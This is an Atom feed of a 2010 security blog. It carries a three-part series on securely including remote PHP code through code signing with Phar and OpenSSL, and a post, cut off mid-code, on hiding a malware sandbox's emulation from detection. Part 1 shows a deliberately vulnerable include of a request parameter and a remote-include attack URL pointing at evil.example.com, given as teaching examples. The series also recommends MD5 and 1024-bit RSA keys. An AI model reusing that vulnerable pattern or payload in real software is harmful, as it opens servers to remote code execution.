&lt;/ol&gt;When working on PharUtil, I discovered many quirks with Phar that affect security (e.g. Phar compression silently downgrades OpenSSL signature to SHA signature, dummy public key file makes all archives valid etc.) - all of them are being addressed in PharUtil, so you get an Even-Safer-Phar. &lt;br /&gt;
&lt;br /&gt;
If you don't want the whole signing thing and just need to download Phar and check if it has no transfer errors - I'm fine too, just don't pass the third parameter (public key) to the constructor.&lt;br /&gt;
&lt;h2&gt;Bonus&lt;/h2&gt;PharUtil gives you a few useful command-line utilities to deal with Phar archives. &lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: 'Courier New',Courier,monospace;"&gt;phar-build&lt;/span&gt; for building and signing Phar archives&lt;br /&gt;
(see &lt;span style="font-family: 'Courier New',Courier,monospace;"&gt;phar-build -h&lt;/span&gt; for help) &lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: 'Courier New',Courier,monospace;"&gt;phar-extract&lt;/span&gt; for extracting/listing contents of Phar archive&lt;br /&gt;
(see &lt;span style="font-family: 'Courier New',Courier,monospace;"&gt;phar-extract -h&lt;/span&gt; for help) &lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: 'Courier New',Courier,monospace;"&gt;phar-verify&lt;/span&gt; for verifying signature of Phar archive&lt;br /&gt;
(see &lt;span style="font-family: 'Courier New',Courier,monospace;"&gt;phar-verify -h&lt;/span&gt; for help) &lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: 'Courier New',Courier,monospace;"&gt;phar-generate-cert&lt;/span&gt; for generating OpenSSL certificates used to sign the Phar archives (OpenSSL installation is required)&lt;/li&gt;
&lt;/ul&gt;How to use them? See the examples:&lt;br /&gt;
&lt;h3&gt;Build a Phar archive&lt;/h3&gt;Generate certificates in &lt;span style="font-family: 'Courier New',Courier,monospace;"&gt;cert/&lt;/span&gt; directory (will be put in &lt;span style="font-family: 'Courier New',Courier,monospace;"&gt;priv.pem&lt;/span&gt; and &lt;span style="font-family: 'Courier New',Courier,monospace;"&gt;pub.pem&lt;/span&gt;) &lt;br /&gt;
&lt;pre class="bash" name="code"&gt;$ mkdir cert/ 
$ cd cert/ 
$ phar-generate-cert 
&lt;/pre&gt;Create &lt;span style="font-family: 'Courier New',Courier,monospace;"&gt;src/&lt;/span&gt; directory and copy all the files to be included in Phar&lt;br /&gt;
&lt;pre class="bash" name="code"&gt;$ phar-build --phar library.phar
&lt;/pre&gt;&lt;h3&gt;Extract a Phar archive&lt;/h3&gt;&lt;pre class="bash" name="code"&gt;$ phar-extract library.phar output-directory
&lt;/pre&gt;&lt;h3&gt;Verify a Phar archive signature&lt;/h3&gt;&lt;pre class="bash" name="code"&gt;$ phar-verify -P pub.pem http://example.com/library.phar
&lt;/pre&gt;&lt;small&gt;(this is using PharUtil_RemotePharVerifier internally :))&lt;/small&gt;&lt;br /&gt;
&lt;h3&gt;List a Phar archive contents&lt;/h3&gt;&lt;pre class="bash" name="code"&gt;$ phar-extract -l library.phar output-directory
&lt;/pre&gt;&lt;h2&gt;Download&lt;/h2&gt;To install the library use &lt;a href="http://pear.kotowicz.net/"&gt;my PEAR channel&lt;/a&gt;:&lt;br /&gt;
&lt;pre class="bash" name="code"&gt;$ pear channel-discover pear.kotowicz.net
$ pear install kotowicz/PharUtil-beta
&lt;/pre&gt;To read more and/or look at the source code - head over to &lt;a href="http://github.com/koto/phar-util"&gt;github.com/koto/phar-util&lt;/a&gt;&lt;br /&gt;
&lt;h2&gt;Summary&lt;/h2&gt;In this post series, I talked about PHP remote code execution vulnerability and showed that the cause of it is, well, remote code &lt;i&gt;that we can't verify&lt;/i&gt;. Then we went through different methods of dealing with the remote code and, finally, have found a way to sign the PHP code and be able to securely distribute it to remote clients.&lt;br /&gt;
&lt;br /&gt;
We've come a long way since a few years ago and now we, as a PHP community, have the possibility to maintain security AND include remote signed code in our applications. And it's a low-hanging fruit thanks to OpenSSL, Phar and, now, PharUtil library. Code signing is here - now we just have to use it in our next killer distributed apps.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-5505166189627692180?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/5505166189627692180/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=5505166189627692180' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/5505166189627692180'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/5505166189627692180'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2010/08/hardening-php-how-to-securely-include.html' title='Hardening PHP: How to securely include remote code (part 3)'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_yeezYoHslRg/TFG_-q_bL1I/AAAAAAAAEVQ/rD3DzqZly7Y/s72-c/Remote+Code+Execution+-+Example+3.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-502535137166208004</id><published>2010-07-29T20:10:00.004+02:00</published><updated>2010-08-05T10:41:05.215+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pki'/><category scheme='http://www.blogger.com/atom/ns#' term='remote'/><category scheme='http://www.blogger.com/atom/ns#' term='php5'/><category scheme='http://www.blogger.com/atom/ns#' term='include'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='signing'/><category scheme='http://www.blogger.com/atom/ns#' term='phar'/><category scheme='http://www.blogger.com/atom/ns#' term='hardening'/><title type='text'>Hardening PHP: How to securely include remote code (part 2)</title><content type='html'>In second post of the series I describe methods of checking the integrity of remote code - from checksums to (simple) Public Key Infrastructure. To transfer the code I introduce the popular Phar archives.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;h2&gt;Checksums&lt;/h2&gt;In &lt;a href="http://blog.kotowicz.net/2010/07/hardening-php-how-to-securely-include.html"&gt;first post&lt;/a&gt; I've talked about the growing need of transferring and executing code from remote locations. I've also described why blindly trusting downloaded code is a security vulnerability, even if we download from a known location under our control.&lt;br /&gt;
&lt;br /&gt;
To be sure that the downloaded code has not been modified (by an attacker) we must somehow validate it. The simplest form of validation is to compare a checksum of the code with a known value. Let's look at an example:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_yeezYoHslRg/TFG97G0cBdI/AAAAAAAAEU4/AIinqWmxMMY/s1600/Remote+Code+Execution+-+Example+2+%28checksum%29.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="162" src="http://4.bp.blogspot.com/_yeezYoHslRg/TFG97G0cBdI/AAAAAAAAEU4/AIinqWmxMMY/s400/Remote+Code+Execution+-+Example+2+%28checksum%29.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;pre class="php" name="code"&gt;// checksum validation
$url = 'http://code.example.com/code.php';
$file = file_get_contents($url);
if (md5($file) == $code_checksum) {
&amp;nbsp;&amp;nbsp;&amp;nbsp; file_put_contents('code.php', $file);
&amp;nbsp;&amp;nbsp;&amp;nbsp; inlcude 'code.php';
}
&lt;/pre&gt;We download the code over-the-wire, but before executing it, we calculate the MD5 sum of the file contents and compare it to our value. Checksum easily detects errors in file transfer. Also, if an attacker supplies his code, the checksum is different (let's ignore &lt;a href="http://en.wikipedia.org/wiki/Hash_collision" target="_blank"&gt;hash collisions&lt;/a&gt; for a moment) and the code would not execute. What is the problem? There are two:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;How should we get the checksums in the first place? If we have them locally - what is the point of not shipping the code with them anyway (minus licensing issues)? If we don't - we need to fetch them, so they could also be tampered with.&lt;/li&gt;
&lt;li&gt;The checksums are tied to a specific code version - if we update the remote code, we need to supply new checksums to all the clients (and do it securely).&lt;br /&gt;
&lt;/li&gt;
&lt;/ol&gt;Described issues are what is known in cryptography as the classic &lt;a href="http://en.wikipedia.org/wiki/Key_exchange#The_key_exchange_problem" target="_blank"&gt;Key exchange dillemma&lt;/a&gt;.&lt;br /&gt;
&lt;h2&gt;Signing the code&lt;/h2&gt;Luckily, if we know upfront who will ship the code to our applications, these problems are solvable with the help of public/private key pair and &lt;a href="http://en.wikipedia.org/wiki/Code_signing" target="_blank"&gt;code signing&lt;/a&gt;. Let's see how the code signing works:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_yeezYoHslRg/TFG_MSId2XI/AAAAAAAAEVA/C5hj7B0vAdA/s1600/Remote+Code+Execution+-+signing+code.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="213" src="http://2.bp.blogspot.com/_yeezYoHslRg/TFG_MSId2XI/AAAAAAAAEVA/C5hj7B0vAdA/s400/Remote+Code+Execution+-+signing+code.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;The idea is simple - the producer (code author) generates two keys - a &lt;b&gt;public&lt;/b&gt; and a &lt;b&gt;private &lt;/b&gt;one. The keys work together like two sides of a coin. If one key is modified, the mathematical relationship between them breaks. When building the software, producer uses his &lt;b&gt;private key&lt;/b&gt; and the code itself to generate a code signature - a special form of checksum. The checksum, together with code is then bundled together in a "signed code" package (think of a ZIP file).&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_yeezYoHslRg/TFG_ZwAmndI/AAAAAAAAEVI/OnhA0RxKcTM/s1600/Remote+Code+Execution+-+verification.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="197" src="http://1.bp.blogspot.com/_yeezYoHslRg/TFG_ZwAmndI/AAAAAAAAEVI/OnhA0RxKcTM/s400/Remote+Code+Execution+-+verification.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;Code verification does not use a private key, but a second key from the pair - the public one. The consumer checks the signature of the package and verifies it using producer's &lt;b&gt;public &lt;/b&gt;key. If anyone modifies the code in the package - the signature will not  match (that is the checksum functionality). But, even if the package has correct checksum &lt;b&gt;but is signed with a different private key&lt;/b&gt; - it can be detected (because public and private keys are related!). The effect is that unless attacker has producer's private key - he cannot tamper with the code as it would fail the signature verification.&lt;br /&gt;
&lt;br /&gt;
How to use that in our example?&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_yeezYoHslRg/TFG_-q_bL1I/AAAAAAAAEVQ/rD3DzqZly7Y/s1600/Remote+Code+Execution+-+Example+3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="126" src="http://1.bp.blogspot.com/_yeezYoHslRg/TFG_-q_bL1I/AAAAAAAAEVQ/rD3DzqZly7Y/s400/Remote+Code+Execution+-+Example+3.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;ol&gt;&lt;li&gt;Generate the private and public key on a producer (it can also be a third-party server)&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;Ship the producer's &lt;b&gt;public key &lt;/b&gt;together with the clients' part of an application.&lt;/li&gt;
&lt;li&gt;Whenever the code to be downloaded is modified, &lt;b&gt;sign it &lt;/b&gt;on producer&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;Client downloads the new code and verifies it before executing &lt;span style="font-size: x-small;"&gt;(don't download the public key again! - it could be tampered with)&lt;/span&gt;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;Even if an attacker executes man-in-the-middle attack and ships the code instead of the producer server, without knowing the private key (which is securely stored on producer server and is never transferred) - his code will never be executed. We only execute code that is signed by private key paired with our known local public key.&lt;br /&gt;
&lt;h2&gt;Code signing in PHP world - Phar&lt;/h2&gt;Getting back to PHP, we have two problems to solve:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;What format of package to use? We cannot just append the signature after the code, as that would require stripping it manually before verification.&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;How to perform the actual verification / signing process?&lt;/li&gt;
&lt;/ol&gt;Luckily, there's &lt;a href="http://www.php.net/manual/en/intro.phar.php" target="_blank"&gt;Phar&lt;/a&gt; and it beautifully solves both issues. Phar is a container format (like &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;.jar&lt;/span&gt; for Java) for PHP applications that also allows for signing and verifying signatures using &lt;a href="http://www.openssl.org/"&gt;OpenSSL&lt;/a&gt; public/private key pair.&lt;br /&gt;
&lt;h3&gt;Installing Phar&lt;/h3&gt;To use Phar for code signing, you need PHP compiled with &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;--with-openssl&lt;/span&gt; switch. For PHP &amp;lt; 5.3, you also need to build the Phar (2.0.0+) extension from &lt;a href="http://pecl.php.net/" target="_blank"&gt;http://pecl.php.net&lt;/a&gt;. &lt;br /&gt;
&lt;br /&gt;
E.g. under Ubuntu, these steps are required to build and configure the extension:&lt;br /&gt;
&lt;pre class="bash" name="code"&gt;$ sudo apt-get install php5-dev
$ sudo pecl install pecl/phar
$ echo "extension=phar.so" | sudo tee /etc/php5/conf.d/phar.ini
$ echo "phar.readonly=0" | sudo tee -a /etc/php5/conf.d/phar.ini
&lt;/pre&gt;The last line allows us to create Phar archives as by default only reading them is supported. &lt;br /&gt;
&lt;h3&gt;Creating keys&lt;/h3&gt;You also need to generate a public/private key pair - use these OpenSSL commands to do this:&lt;br /&gt;
&lt;pre class="bash" name="code"&gt;#!/bin/bash
# priv.pem will contain your private key
# pub.pem will contain your public key
openssl genrsa -out priv.pem 1024
openssl rsa -in priv.pem -pubout -out pub.pem
&lt;/pre&gt;&lt;h3&gt;Signing with Phar&lt;/h3&gt;Signing is dead easy (apart from errors in documentation :( )&lt;br /&gt;
&lt;pre class="php" name="code"&gt;$src = './src'; // source files to be built
$dest = './build/test.phar'; // phar destination file
$priv_file = './cert/priv.pem'; // path to PEM private file
$pub_file = './cert/pub.pem'; // path to PEM public file

$phar = new Phar($dest);
// get the private key
$private_key = file_get_contents($priv_file);
// apply the signature
$phar-&amp;gt;setSignatureAlgorithm(Phar::OPENSSL, $private_key);
$phar-&amp;gt;buildFromDirectory($src);
// attach the public key for verification
copy($pub_file, $dest . '.pubkey');
&lt;/pre&gt;Phar requires the public key to be stored &lt;a href="http://www.php.net/manual/en/phar.using.intro.php" target="_blank"&gt;alongside phar archive&lt;/a&gt; in hardcoded location, so the last line copies our public key file next to it. &lt;br /&gt;
&lt;h3&gt;Verifying signature in Phar&lt;/h3&gt;To use Phar archives locally, you simply do:&lt;br /&gt;
&lt;pre class="php" name="code"&gt;require_once '/path/to/test.phar';
&lt;/pre&gt;&lt;br /&gt;
This will fetch the appropriate public key and perform the verification, throwing an Exception on error.&lt;br /&gt;
&lt;br /&gt;
If you need to use the Phar archive remotely, you're out of luck though. For security reasons, &lt;b&gt;Phar won't work with remote URIs&lt;/b&gt; (in other words, you cannot include a Phar archive remotely). Also &lt;b&gt;the public key must be stored next to an archive&lt;/b&gt; in a predefined location. While Phar solves the signing problem, it does so for local includes only.&lt;br /&gt;
&lt;br /&gt;
So, getting back to the question - how to securely include remote code? We need to find a way to ship &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;.phar&lt;/span&gt; archives remotely AND verify the signatures without transferring the key, which will be covered in the next post from this series.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-502535137166208004?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/502535137166208004/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=502535137166208004' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/502535137166208004'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/502535137166208004'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2010/07/re-hardening-php-how-to-securely.html' title='Hardening PHP: How to securely include remote code (part 2)'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_yeezYoHslRg/TFG97G0cBdI/AAAAAAAAEU4/AIinqWmxMMY/s72-c/Remote+Code+Execution+-+Example+2+%28checksum%29.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-991643135930958160</id><published>2010-07-29T12:49:00.002+02:00</published><updated>2010-07-29T20:11:46.913+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='remote'/><category scheme='http://www.blogger.com/atom/ns#' term='openssl'/><category scheme='http://www.blogger.com/atom/ns#' term='php5'/><category scheme='http://www.blogger.com/atom/ns#' term='include'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='signing'/><category scheme='http://www.blogger.com/atom/ns#' term='phar'/><category scheme='http://www.blogger.com/atom/ns#' term='hardening'/><title type='text'>Hardening PHP: How to securely include remote code (part 1)</title><content type='html'>First post of the series discussing various methods of including remote PHP code in your application - from security standpoint. In this post we discuss the history of remote code execution vulnerabilities in PHP apps and ways to prevent them. We finish off by presenting an unsecure method of including a remote code and describe what is the problem with that method. &lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;h2&gt;Introduction&lt;/h2&gt;PHP applications from the early days have often suffered from Remote Code Execution vulnerabilities. Some design flaws in the language itself (e.g. allowing including a file from remote URL) and PHP developers' lack of knowledge all contributed to the problem. Common source of it was seen in do-it-yourself CMSes, where you could find snippets like these:&lt;br /&gt;
&lt;pre class="php" name="code"&gt;$file = $_GET['page'];
include $file . '.php';
&lt;/pre&gt;Of course, this obviously has an remote code execution vulnerability - if an attacker used &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;?page=http://evil.example.com/evil_script&lt;/span&gt; he can run any code on the server. That is, if PHP is left with default setting of &lt;a href="http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen"&gt;allow_url_fopen&lt;/a&gt;. However, changing &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;allow_url_fopen&lt;/span&gt; to &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;false&lt;/span&gt; prevents you from easily opening all remote files (e.g. images to rescale), not only code, so usually it is left at default value. &lt;br /&gt;
&lt;h2&gt;Allow_url_include&lt;/h2&gt;Luckily PHP 5.2 introduced new config setting - &lt;a href="http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include"&gt;allow_url_include&lt;/a&gt;. It's default value prevents including file from a remote location (only local file protocol URIs are possible):&lt;br /&gt;
&lt;pre class="php" name="code"&gt;// PHP 5.2 - allow_url_include = "0"
// you can still open files by URL
echo file_get_contents('http://www.google.com/image.png'); 
include '/path/to/file.php'; // this is ok
include 'http://example.com/src/file.php'; // this will fail
&lt;/pre&gt;Thanks to this move, most common remote code execution flaw in PHP applications has been patched. By default, including (and executing) code from remote URI is denied. Sure, it's still possible, but it's usually due to the application authors introducing some funky features to allow for downloading remote code (e.g. for updating plugins etc).&lt;br /&gt;
&lt;h2&gt;But I need remote code!&lt;/h2&gt;It's 2010, the web is now 2.0 - we have distributed applications, cloud computing, ad servers, application components, plugins, social networks, mashups etc. Remote code distribution becomes a popular need of PHP applications. PHP nowadays is not only sitting on one server - the applications are deployed in server farms, in the cloud, distributed to your customer's, run on a &lt;a href="http://gtk.php.net/"&gt;desktop&lt;/a&gt; - and even in your &lt;a href="http://phpforandroid.net/"&gt;Android phone&lt;/a&gt;!&lt;br /&gt;
&lt;br /&gt;
By allowing remote code you can:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;create an application with upgradable plugins&lt;/li&gt;
&lt;li&gt;allow your applications to download it's modules over the wire&lt;/li&gt;
&lt;li&gt;automatically install additional plugins based on e.g. client's license file&lt;/li&gt;
&lt;/ul&gt;and tons of other things, but ....&lt;br /&gt;
&lt;br /&gt;
In this distributed environment, security becomes crucial. How do I know that the code I've been given (or that I've downloaded) is to be trusted? How do I know it has not been tampered with? Let's first look at how not to do it:&lt;br /&gt;
&lt;h2&gt;&lt;a href="" name="example1"&gt;&lt;/a&gt;Naive way - hardcoded location&lt;/h2&gt;Let's pretend we have a simple scenario:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_yeezYoHslRg/TFFV2C8HVWI/AAAAAAAAEUo/sUfcycaFUjk/s1600/Copy+of+Remote+Code+Execution+-+Example+1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="183" src="http://3.bp.blogspot.com/_yeezYoHslRg/TFFV2C8HVWI/AAAAAAAAEUo/sUfcycaFUjk/s400/Copy+of+Remote+Code+Execution+-+Example+1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;Here we have 2 servers - the consumer (&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;client.example.net&lt;/span&gt;) and the producer (&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;code.example.com&lt;/span&gt;). Client downloads a PHP code from the server, saves it locally (beating &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;allow_url_include&lt;/span&gt; protection) and &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;include&lt;/span&gt;s it. The code is downloaded from a hardcoded location, so we should be safe, right? Not really. We blindly trust that the server identified by the domain name is hosting "our" code - but this is not always true:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_yeezYoHslRg/TFFWExsx2qI/AAAAAAAAEUw/bOiPA5EJYTw/s1600/Remote+Code+Execution+-+Example+1+%28attack%29.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="241" src="http://4.bp.blogspot.com/_yeezYoHslRg/TFFWExsx2qI/AAAAAAAAEUw/bOiPA5EJYTw/s400/Remote+Code+Execution+-+Example+1+%28attack%29.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;The client has its DNS entries wrong - effectively downloading code from attackers' location. DNS rebinding attacks this is only one of the methods, one could use man-in-the-middle attack, use some rogue proxy etc. &lt;br /&gt;
&lt;h2&gt;Don't trust the hostname!&lt;/h2&gt;The problem is that we were trusting the server &lt;i&gt;hostname&lt;/i&gt; and not &lt;i&gt;the code itself&lt;/i&gt;. So if one could act as &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;code.example.com&lt;/span&gt; for our application, we'll blindly accept everything he has to offer.&lt;br /&gt;
&lt;br /&gt;
To protect from these kind of attacks (and securely use remote code) we need to perform some sort of code integrity check before it's execution. If not, we have &lt;a href="http://cwe.mitre.org/data/definitions/494.html"&gt;CWE-494: Download of Code Without Integrity Check&lt;/a&gt; vulnerability. How to do the check? Well - check out the &lt;a href="http://blog.kotowicz.net/2010/07/re-hardening-php-how-to-securely.html"&gt;second post of the series&lt;/a&gt; ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-991643135930958160?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/991643135930958160/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=991643135930958160' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/991643135930958160'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/991643135930958160'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2010/07/hardening-php-how-to-securely-include.html' title='Hardening PHP: How to securely include remote code (part 1)'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_yeezYoHslRg/TFFV2C8HVWI/AAAAAAAAEUo/sUfcycaFUjk/s72-c/Copy+of+Remote+Code+Execution+-+Example+1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-2751973575651109911</id><published>2010-06-16T02:16:00.002+02:00</published><updated>2010-06-16T13:01:44.382+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='overloading'/><category scheme='http://www.blogger.com/atom/ns#' term='analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='tostring'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='jsunpack'/><title type='text'>Ultimate toString() override</title><content type='html'>As shown in &lt;a href="http://blog.kotowicz.net/2010/06/malicious-javascript-talk-materials.html"&gt;my last talk on malware analysis&lt;/a&gt;, automatic malware detectors could be easily beaten by detecting their emulation layer. For example, malware could always use &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Function.toString() &lt;/span&gt;method to check if any function has been emulated by the sandbox. Today I raise the bar a little - we'll switch the &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;toString()&lt;/span&gt; method in a way that is significantly harder to detect by malware authors.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
I discussed the sandboxing &amp;amp; detection techiques currently used with&amp;nbsp;Blake Hartstein, &lt;a href="http://jsunpack.jeek.org/dec/go"&gt;jsunpack&lt;/a&gt; author and we came to an obvious conclusion, that the problem is unsolvable within JavaScript layer. Every trick used by sandbox engine could be ultimately detected by malware. In other words - in JavaScript, you can't hack the JavaScript itself. That is the reason Blake modified the underlying Spidermonkey code (written in C) to allow for perfect &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eval() &lt;/span&gt;overloading (see &lt;a href="http://blog.kotowicz.net/2010/04/when-overloading-eval-fails.html"&gt;my attempts&lt;/a&gt; for a comparison).&lt;br /&gt;
&lt;br /&gt;
To see why it is so hard, let's look at the example:&lt;br /&gt;
&lt;h2&gt;toString() chain&lt;/h2&gt;Current version of jsunpack emulates &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;window.open&lt;/span&gt; by doing:&lt;br /&gt;
&lt;pre class="js" name="code"&gt;window.open = function (url){
&amp;nbsp;&amp;nbsp;&amp;nbsp; print("//jsunpack.url open = " + url) 
};
&lt;/pre&gt;But malware author could easily detect this by doing:&lt;br /&gt;
&lt;pre class="js" name="code"&gt;window.open.toString().match(/print/)
&lt;/pre&gt;To protect from detection, jsunpack could do: &lt;br /&gt;
&lt;pre class="js" name="code"&gt;window.open.toString = function () {
return "function toString() {\n\t[native_code]\n}";
}
&lt;/pre&gt;but then again malware could check &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;window.open.toString.toString()&lt;/span&gt; ... and so on, ad infinitum.&lt;br /&gt;
&lt;br /&gt;
The problem is that if we modify &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;toString()&lt;/span&gt; for function &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;x&lt;/span&gt;, the modifications will be visible in the&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; x.toString.toString()&lt;/span&gt; output. In JavaScript you could always look at the insides of a function if you're clever enough.&lt;br /&gt;
&lt;h2&gt;Practical point of view&lt;/h2&gt;Because of this, jsunpack takes the reactive strategy - if some technique is captured &lt;a href="http://jsunpack.jeek.org/dec/go?report=6e74b45d42d5a895d03dad534b41c75d99600004"&gt;in the wild&lt;/a&gt;, countermeasures will be taken. Nonetheless, if someone comes up with a better emulation layer, requiring bigger JS skills to detect, it would only be for good.&lt;br /&gt;
&lt;br /&gt;
In this spirit, I present to you...&lt;br /&gt;
&lt;h2&gt;The (almost) ultimate toString() override&lt;/h2&gt;Using &lt;a href="https://developer.mozilla.org/en/Core_JavaScript_1.5_Guide/Working_with_Objects#Defining_Getters_and_Setters"&gt;JavaScript getters&lt;/a&gt; (introduced in JS 1.5) we could do something like this: &lt;br /&gt;
&lt;pre class="js" name="code"&gt;var emulateToStringRecursive = function(object, fn_header) {
&amp;nbsp;&amp;nbsp;&amp;nbsp; object.__defineGetter__("toString", function() {
